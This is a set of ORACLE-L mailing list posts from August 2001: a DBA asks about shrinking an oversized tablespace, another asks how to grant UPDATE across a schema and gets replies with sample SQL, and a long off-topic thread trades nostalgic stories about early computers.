On Thu, 2 Aug 2001,Scott Shafer scribbled on the wall in glitter crayon: -The Cult of the Goddess does not take divine abandonment lightly... - ---Scott Shafer, High Priest - San Antonio, TX hey, i thought that was my job!;-) and i think i've been in this damn business t long. should have took that job as a javalin catcher.;-) -- Bill Thater ORACLE DBA Telergy,Inc. [EMAIL PROTECTED] It's got to come from the heart if you want it to work! If the automobile had followed the same development cycle as the computer, a Rolls-Royce would today cost $100, get a million miles per gallon, and explode once a year, killing everyone inside. - Robert X. Cringely -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Thater, William INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
huge datafiles/need help
Hi List, I have a monster tablespace 36 G with two datafiles 32 G and 4 G. Don't ask me who created such a file because I don't know. I am trying to rescue the database that has multiple problems. Something you've never seen before. Bye the way, did anyone ever run a test how much stuff you can put on your disc before it dyes? Well, yesterday I found a disc which was 99.07 % full. Anyway... The tablespace is ~ 50 % free. The bad news is it doesn't let me to reduce the size of the datafiles by using 'alter database datafile ... resize...';. That tablespace contains 32 indexes. Some of them are as large as 600 -800 M. I need to develop a plan of attack. My options are: 1) drop and recreate the indexes; 2) rebuild the indexes in different tablespace/tablespaces; 3) export/import indexes or may be even tablespace all at once. Is there anyone who has done something similar before? All suggestions are greatly appreciated. That database is screaming for help!! It running Oracle 8.1.6 on NT. Lyuda Hoska -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: OT -- suggestions to ensure nerdiness in potential IT staff
Mid 70's? I never used a computer before 1990. I went from zero experience to real-time, hybrid unix on a mainframe doing maintenance programming for an Air Traffic Control system. Prior to that, I worked blue-collar (come from a long line of ironworkers) until I joined the USAF and they told me I was a computer programmer... Scott Shafer San Antonio, TX Page, Bruce wrote: And just think about the PC being an advanced system for some of us. Wait until we again start talking about using paper tapes and having to use scotch tape to put them back together to run them through. Or even the older guys that talk about switch boards. I am not as old as them. My computer days just go back to the mid 70's. I love this stuff(being a nerd wannabe), but I don't have a frickin clue what any of you are talking about:) _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Scott Shafer INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
computer history stories
I just want to thank everyone whose stories indicate that they are at least middle-aged--for a while (especially at my last job where the average age was about 25), I'd been feeling as though I was the last over-40 tech-head left on the East Coast. Now, as long as I'm posting, my how-I-got-started story: I majored in liberal arts and worked as a real-estate property manager for about 5 years. Encouraged by programmer friends, I took some classes, in Fortran, Intro. to Computer Logic, and DG MV/8000 assembly language. My first job, in 1981, was as an assembly language programmer, but not for the MV/8000; rather, writing firmware for the Intel 8085. I couldn't believe how primitive it seemed after programming for the then-state-of-the-art MV/8000. The experience, though, of working from hardware schematics and Intel data books was invaluable. You really know how a computer works when you've learned about asserting ALE (address latch enable) and strobing the address bus! Paul Baumgartel MortgageSight Holdings, LLC [EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Paul Baumgartel INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Test message
I tried ... but couldn't .. __ Rajendra Jamadagni MIS, ESPN Inc. Rajendra dot Jamadagni at ESPN dot com Any opinion expressed here is personal and doesn't reflect that of ESPN Inc. QOTD: Any clod can have facts, but having an opinion is an art ! -Original Message- Sent: Thursday, August 02, 2001 12:47 PM To: Multiple recipients of list ORACLE-L Ignore this message. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Arich Henneman INET: [EMAIL PROTECTED] *2 This e-mail message is confidential, intended only for the named recipient(s) above and may contain information that is privileged, attorney work product or exempt from disclosure under applicable law. If you have received this message in error, or are not the named recipient(s), please immediately notify corporate MIS at (860) 766-2000 and delete this e-mail message from your computer, Thank you. *2 -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Jamadagni, Rajendra INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
We have a bowl full of them here. I will get back to you. I could maybe get the whole staff into it and average it out so that we have a more accurate answer. -Original Message- Sent: Thursday, August 02, 2001 8:27 AM To: Multiple recipients of list ORACLE-L And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kimberly Smith INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Oracle Beta
It is fairly difficult to get on the beta team from what I understand, it is too late at this point. Do not criticize someone until you walked a mile in their shoes, that way when you criticize them, you are a mile a way and have their shoes. Christopher R. Spence OCP MCSE MCP A+ RAPTOR CNA Oracle DBA Phone: (978) 322-5744 Fax:(707) 885-2275 Fuelspot 73 Princeton Street North, Chelmsford 01863 -Original Message- Sent: Thursday, August 02, 2001 11:11 AM To: Multiple recipients of list ORACLE-L Hi all, Does anyone know the URL for the Oracle 9i Beta program. I need to download the NT version of 9i. Thanks in advance:) Sincerely, Kevin Kostyszyn DBA Dulcian, Inc www.dulcian.com [EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Christopher Spence INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT
Heck, I retired from ATT where I had more time on the job than my boss had on the face of the earth. RedHeaded Hooters that couldn't spell PC. ROR m-¿ôm [EMAIL PROTECTED] 08/02/01 10:51AM And just think about the PC being an advanced system for some of us. Wait until we again start talking about using paper tapes and having to use scotch tape to put them back together to run them through. Or even the older guys that talk about switch boards. I am not as old as them. My computer days just go back to the mid 70's. I love this stuff(being a nerd wannabe), but I don't have a frickin clue what any of you are talking about:) -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Ron Rogers INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
On Thu, 2 Aug 2001,Rachel Carmichael scribbled on the wall in glitter crayon: -Okay, who remembers Fractured Fairy Tales and the Professor and his boy -Sherman? Ok true story time. i went to work as a forms developer for Xerox Business Systems back in 93 and the first day i got into work i was setting up my star workstation and my PC when the project manager went into the cube next to mine and started giving the programmer there a REAL hard time. after he left i heard moose and squrril, moose and squrill, is always moose and squrril! in a perfect russian accent! i feel off my chair, and the guy came to see if i was alright. turns out he was from bellaruss(sp?) and learned english from watching cartoons. from then on, if meetings got stupid, we'd look at each other and go moose and squrril. people left us alone.;-) -- Bill Thater ORACLE DBA Telergy,Inc. [EMAIL PROTECTED] It's got to come from the heart if you want it to work! If the automobile had followed the same development cycle as the computer, a Rolls-Royce would today cost $100, get a million miles per gallon, and explode once a year, killing everyone inside. - Robert X. Cringely -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Thater, William INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
Title: RE: OT -- suggestions to ensure nerdiness in potential IT staff From: Farnsworth, Dave [mailto:[EMAIL PROTECTED]] -Okay, who remembers Fractured Fairy Tales and the Professor and his -boy Sherman? On black and white TV!! :( and was the screen round and did the tv have legs built in?
RE: OT -- suggestions to ensure nerdiness in potential IT staff
2314 Disk drives are responsible for me being in the IT racket. The problem with the 2314 was that it was removable, but it could not be removed until it came to a complete stop. Otherwise you might damage the heads or the disk itself. The disk drive had a glass window so that you could see if something was mounted but the disk had no markings, so it was impossible to tell just by looking whether the disk was spinning or not. The only safe policy was to turn the drive off and wait five minutes to be certain that the disk had spun down. You then manually opened the drawer, attached a carrying handle to the drive, and very gingerly removed it. My immediate predecessor as a computer operator did not follow this policy. He yanked the drive out while it was still spinning, gyroscoped around the computer room and banged it into a printer. He then decided to remount it in order to make sure that he hadn't damaged the drive. The damaged drive trashed the heads. This genius then decided that he couldn't tell whether the drive or the heads were bad so he remounted the drive on another spindle, just in case it was the first spindle's heads that were bad. So he trashed the second spindle's heads. The machine had 4 spindles but it need two of them just to hold the operating system. So, they could boot the machine, but they couldn't mount any data or do any work. They fired him, had an opening, and hired me. You can bet that I was glad when the 3330 disk drive came in. It would not open the door to let you dismount the pack until the drive had spotted spinning. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
The correct answer is 1 if it is a Cherry Toosie Pop. Kathy -Original Message- Sent: Thursday, August 02, 2001 8:27 AM To: Multiple recipients of list ORACLE-L And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). Confidential This e-mail and any files transmitted with it are the property of Belkin Components and/or its affiliates, are confidential, and are intended solely for the use of the individual or entity to whom this e-mail is addressed. If you are not one of the named recipients or otherwise have reason to believe that you have received this e-mail in error, please notify the sender and delete this message immediately from your computer. Any other use, retention, dissemination, forwarding, printing or copying of this e-mail is strictly prohibited. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kathy Duret INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: grants to schema query
Write a script that dynamically builds your script to create the grants. Dynamically building scripts is very important in making your life much easier. The data dictionary is your friend. -Original Message- Sent: Thursday, August 02, 2001 8:01 AM To: Multiple recipients of list ORACLE-L Hope there is not an obvious answer to this. I want to grant UPDATE priv to all objects in a schema to a user. Do I need to grant to each object or can I somehow wildcard all the objects?. What are my option(s)?. I'd appreciate example grant statements! Sean :) Rookie Data Base Administrator Oracle 7.3.3, 8.0.5, 8.1.7 - NT, W2K [0%] OCP Oracle8i DBA [0%] OCP Oracle9i DBA Organon (Ireland) Ltd. E-mail: [EMAIL PROTECTED] [subscribed: Digest Mode] Visit: http://groups.yahoo.com/group/Oracle-OCP-DBA Nobody loves me but my mother... and she could be jivin' too. - BB King -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: O'Neill, Sean INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kimberly Smith INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
yeah, my father still try's to impress me with stories of punch cards and such. It's pretty funny. The oldest computer I know of and still have is a compaq portable computer. It has the old 5 1/4 floppy drives and a little tiny screen. It's basically a suitcase, weighs about 40 pounds, the bottom is the keyboard. Kinda cool, I remember playing games on it as a kid and thinking it was the most amazing thing. Now it makes a good foot rest, but that's about it:) kk -Original Message- Sent: Thursday, August 02, 2001 10:52 AM To: Multiple recipients of list ORACLE-L And just think about the PC being an advanced system for some of us. Wait until we again start talking about using paper tapes and having to use scotch tape to put them back together to run them through. Or even the older guys that talk about switch boards. I am not as old as them. My computer days just go back to the mid 70's. I love this stuff(being a nerd wannabe), but I don't have a frickin clue what any of you are talking about:) -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
I remember doing APL on an IBM5100, an AT with a 4 inch BW screen built on the side, and a switch to boot into APL or BASIC. The first thing they had to do was blow it to the top of the link with 64k of memory and TWO tape drives. I could do in two hours what it took an engineer 2 days to do. In fact I visited the company 10 years later and they wanted to know if I was willing to do some more work on the box. This was engineering, those monster storage takes for oil, gas, etc. It was great for APL... I can still remember API-650K was an algebraic formula that took 7 pages to document, and then the answer went back into the first step until it was less than 1/10th of an inch difference. But being matrix and vector oriented, you could to the whole thing all at the same time. For what we were doing it was pretty neat. I also remember IBM-360 model 25 and 40... 2311, 2314 disk drives... Maks. (Dating himself...) -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]On Behalf Of Mercadante, Thomas F Sent: Thursday, August 02, 2001 9:41 AM To: Multiple recipients of list ORACLE-L Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff What does APL stand for? What was very bad practice in APL that other languages use? What was used instead? A Programming Language. Not sure of the other questions, but I remember learning the greek alphabet when I was using APL. Very powerful vector-oriented language. You could write one-line programs to accept a list of numbers, and spit out the average, mean, stand. dev., max, min and about anything else. Pretty cool, except that picking up someone elses program to debug was a bitch! Tom Mercadante Oracle Certified Professional -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Michael Kline INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: grants to schema query
I think you need to something like CREATE ROLE upd_privs; GRANT UPDATE ON table1 TO upd_privs; GRANT UPDATE ON tableN TO upd_privs; GRANT upd_privs TO username; Rick -Original Message- Sent: Thursday, August 02, 2001 11:01 AM To: Multiple recipients of list ORACLE-L Hope there is not an obvious answer to this. I want to grant UPDATE priv to all objects in a schema to a user. Do I need to grant to each object or can I somehow wildcard all the objects?. What are my option(s)?. I'd appreciate example grant statements! Sean :) Rookie Data Base Administrator Oracle 7.3.3, 8.0.5, 8.1.7 - NT, W2K [0%] OCP Oracle8i DBA [0%] OCP Oracle9i DBA Organon (Ireland) Ltd. E-mail: [EMAIL PROTECTED] [subscribed: Digest Mode] Visit: http://groups.yahoo.com/group/Oracle-OCP-DBA Nobody loves me but my mother... and she could be jivin' too. - BB King -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: O'Neill, Sean INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Cale, Rick T (Richard) INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Oracle Beta
What is it? I mean the URL to 9i Beta for Windows. No Sun of Mine (no test sun machine available right now..) -Rahul - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Thursday, August 02, 2001 12:16 PM Yes I am replying to my own email, nevermind, I found it:) KK -Original Message- Kostyszyn Sent: Thursday, August 02, 2001 11:11 AM To: Multiple recipients of list ORACLE-L Hi all, Does anyone know the URL for the Oracle 9i Beta program. I need to download the NT version of 9i. Thanks in advance:) Sincerely, Kevin Kostyszyn DBA Dulcian, Inc www.dulcian.com [EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rahul Dandekar INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Oracle Beta
Could you please share, what you found? Igor Neyman, OCP DBA Perceptron, Inc. (734)414-4627 [EMAIL PROTECTED] - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Thursday, August 02, 2001 12:16 PM Yes I am replying to my own email, nevermind, I found it:) KK -Original Message- Kostyszyn Sent: Thursday, August 02, 2001 11:11 AM To: Multiple recipients of list ORACLE-L Hi all, Does anyone know the URL for the Oracle 9i Beta program. I need to download the NT version of 9i. Thanks in advance:) Sincerely, Kevin Kostyszyn DBA Dulcian, Inc www.dulcian.com [EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Igor Neyman INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: grants to schema query
grant to each object ... but you can sorta kinda wildcard it as follows:
select 'grant update on '||owner|'.'||object_name||' to user;'
from dba_objects where owner='ownername' and
object_type in ('TABLE','VIEW','SEQUENCE',);
spool to a file, then run the file as either the object owner, or as someone
who has been granted update with admin
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Hope there is not an obvious answer to this. I want to grant UPDATE
priv
to all objects in a schema to a user. Do I need to grant to each object or
can I somehow wildcard all the objects?. What are my option(s)?. I'd
appreciate example grant statements!
Sean :)
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RE: OT -- suggestions to ensure nerdiness in potential IT staff
Hmmm...I had one of those old Compaq's, too. I was a consultant at the time, and my partner had an Osborne. We'd be going from San Diego to Savannah via DFW, and we'd have to strap those two monsters to a set of luggage wheels and haul a** through the airport to make the connection. You could have fun with that, y'know. You could gut it and install a SBC (Single-board computer) card into the backplane with a 40G disk and you'd have a nice modern machine - well except for the monitor. But I can imagine bringing that into a roomfull of laptops and watching their users smirk until I fired it up and the lights dimmed... --- === Michael P. Vergara | Don't worry about the world ending today; Oracle DBA | it's already tomorrow in Australia. Guidant Corporation | - Charles Schulz -Original Message- Sent: Thursday, August 02, 2001 9:42 AM To: Multiple recipients of list ORACLE-L yeah, my father still try's to impress me with stories of punch cards and such. It's pretty funny. The oldest computer I know of and still have is a compaq portable computer. It has the old 5 1/4 floppy drives and a little tiny screen. It's basically a suitcase, weighs about 40 pounds, the bottom is the keyboard. Kinda cool, I remember playing games on it as a kid and thinking it was the most amazing thing. Now it makes a good foot rest, but that's about it:) kk -Original Message- Sent: Thursday, August 02, 2001 10:52 AM To: Multiple recipients of list ORACLE-L And just think about the PC being an advanced system for some of us. Wait until we again start talking about using paper tapes and having to use scotch tape to put them back together to run them through. Or even the older guys that talk about switch boards. I am not as old as them. My computer days just go back to the mid 70's. I love this stuff(being a nerd wannabe), but I don't have a frickin clue what any of you are talking about:) -- -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Vergara, Michael (TEM) INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT
The cartridge that came with the 2600 was COMBAT. It had a tank game and a biplane game. If they added another cartridge, it must have been in the later years. And the whole package cost $150 1) Who started Atari, what else did he start? 2) What Graphical computer preceeded the Mac? CP/M Control Program for Microcomputers - It was the first big OS. 2.5 What was the first Big Time Word processor that eventually lost out to Word? 3) What company made the first Portable (luggable) computers? The first MAC (128K, 400K floppy) had no handle, I had one(still have it) 4) What was Special about the inside of the Mac case? 5) Who wrote QDOS? sigh, I agree, the good ol' daze [EMAIL PROTECTED] 08/02/01 06:57AM On Thu, 2 Aug 2001,Boivin, Patrice J scribbled on the wall in glitter crayon: -Was CP/M the OS that Bill Gates bought just before making his big deal with -IBM? Can't remember. - -Regards, -Patrice Boivin -Systems Analyst (Oracle Certified DBA) - - -Original Message- - CP/M [or is it CPM i've seen it written both ways.] - - AFAIK, no. it was an OS from a small local company called QDOS [Quick and Dirty Operating System] if i'm not suffering from too much bit rot. CP/M was the other OS in contention. -- Bill Thater ORACLE DBA Telergy,Inc. [EMAIL PROTECTED] It's got to come from the heart if you want it to work! IBM: Into Building Money -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Thater, William INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Arich Henneman INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Oracle Beta
